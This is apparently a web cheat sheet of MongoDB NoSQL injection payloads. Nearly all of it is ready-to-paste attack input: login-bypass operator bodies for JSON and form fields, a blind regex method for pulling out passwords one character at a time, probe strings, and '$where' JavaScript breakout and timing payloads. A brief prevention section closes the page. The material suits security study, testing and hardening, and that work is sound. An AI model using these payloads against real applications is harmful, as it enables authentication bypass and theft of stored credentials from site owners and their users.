NoSQL Injection: The Complete Practical Guide to MongoDB Injection
NoSQL Injection Cheat Sheet
A dense, copy-pasteable NoSQL injection reference: auth-bypass operators, bracket-notation payloads, blind $regex extraction, $where JavaScript, and prevention.
Published
Every NoSQL injection payload you reach for, in one place. The core move never changes: send a query operator where the application expected a plain value, so the database runs logic you control. For the how and why behind each section, start at the NoSQL injection guide. Lock it in on a free live target.
Operator injection, JSON body
{ "username": "admin", "password": { "$ne": null } }
{ "username": { "$ne": null }, "password": { "$ne": null } }
{ "username": "admin", "password": { "$gt": "" } }
{ "username": { "$regex": "^adm" }, "password": { "$ne": null } }
{ "username": { "$in": ["admin", "administrator", "root"] }, "password": { "$ne": null } }Put an always-true operator where a value was expected.
$nenull and$gtempty-string both match any real value. See operator injection.
Operator injection, URL-encoded or form body
username=admin&password[$ne]=x
username[$ne]=x&password[$ne]=x
username=admin&password[$regex]=.*
username[$regex]=^adm&password[$ne]=xParsers like
qs(Express) and PHP arrays turnpassword[$ne]=xinto the object{ "$ne": "x" }. Works on GET and form endpoints that never accept JSON. See query-string injection.
Auth-bypass bodies, ready to paste
{ "username": "admin", "password": { "$ne": "wrong" } }
{ "user": { "$gt": "" }, "pass": { "$gt": "" } }
{ "username": { "$regex": "^a" }, "password": { "$gt": "" } }First returns admin with any password. Second returns the first user in the collection. Third returns the first user whose name starts with
a.
Blind extraction, anchored regex one character at a time
{ "username": "admin", "password": { "$regex": "^a" } }
{ "username": "admin", "password": { "$regex": "^ab" } }
{ "username": "admin", "password": { "$regex": "^abc" } }username=admin&password[$regex]=^aExtend the
^anchor one character at a time until the full value is recovered. Escape regex metacharacters in candidates. Anchor the end with$to confirm the complete string. See blind and timing.
Quick probe set, confirm injectability fast
{ "$ne": null }
{ "$gt": "" }
{ "$regex": ".*" }
{ "$exists": true }field[$ne]=x
field[$regex]=.*
field[$gt]=Drop one of these in place of a value and watch for an always-true result. If the response flips, the field reaches the query as an operator.
$where JavaScript injection, string breakout
' || '1'=='1
'; return true; var x='
'; return this.username == 'admin'; var x='For an app that concatenates input into a
$wherestring. Close the quote, inject logic, and swallow the trailing quote withvar x='. See where injection.
$where timing, when nothing visible differs
{ "$where": "sleep(5000) || true" }
{ "$where": "this.username == 'admin' && this.password.match(/^a/) && sleep(5000)" }{ "$where": "var d=new Date(); while (new Date()-d < 5000) {} true" }
sleep()is a shell helper and is not guaranteed inside$where, so use the clock busy loop as the portable fallback. A measurable delay on a true condition is your oracle. Requires scripting enabled, which recent MongoDB restricts and many deployments disable.
Server-side JavaScript availability (read before relying on $where)
- Enabled by default on self-hosted
mongod, but steadily locked down (BSON JS-with-scope deprecated in 4.2.1, map-reduce deprecated in 5.0). - Often disabled as hardening (
--noscripting/javascriptEnabled: false). $where,$function, and$accumulatorare deprecated as of MongoDB 8.0 (use$expr).- Lead with operator and regex injection, which do not depend on scripting at all.
Prevention
- Validate the type of every input before it reaches the query. Reject an object or array where a string belongs. This single check kills operator injection.
- Pull and cast named fields. Never spread a raw request body into a query.
- Use a schema or validation layer (Zod, Pydantic, a strictly typed Mongoose field) as systematic enforcement.
- Disable server-side JavaScript (
--noscripting) and never build$wherefrom user input. - Treat sanitizer libraries as defense in depth, not the fix.
express-mongo-sanitizehas bypasses and does nothing about$where.
Full detail in preventing NoSQL injection.
← Back to NoSQL Injection: The Complete Practical Guide to MongoDB Injection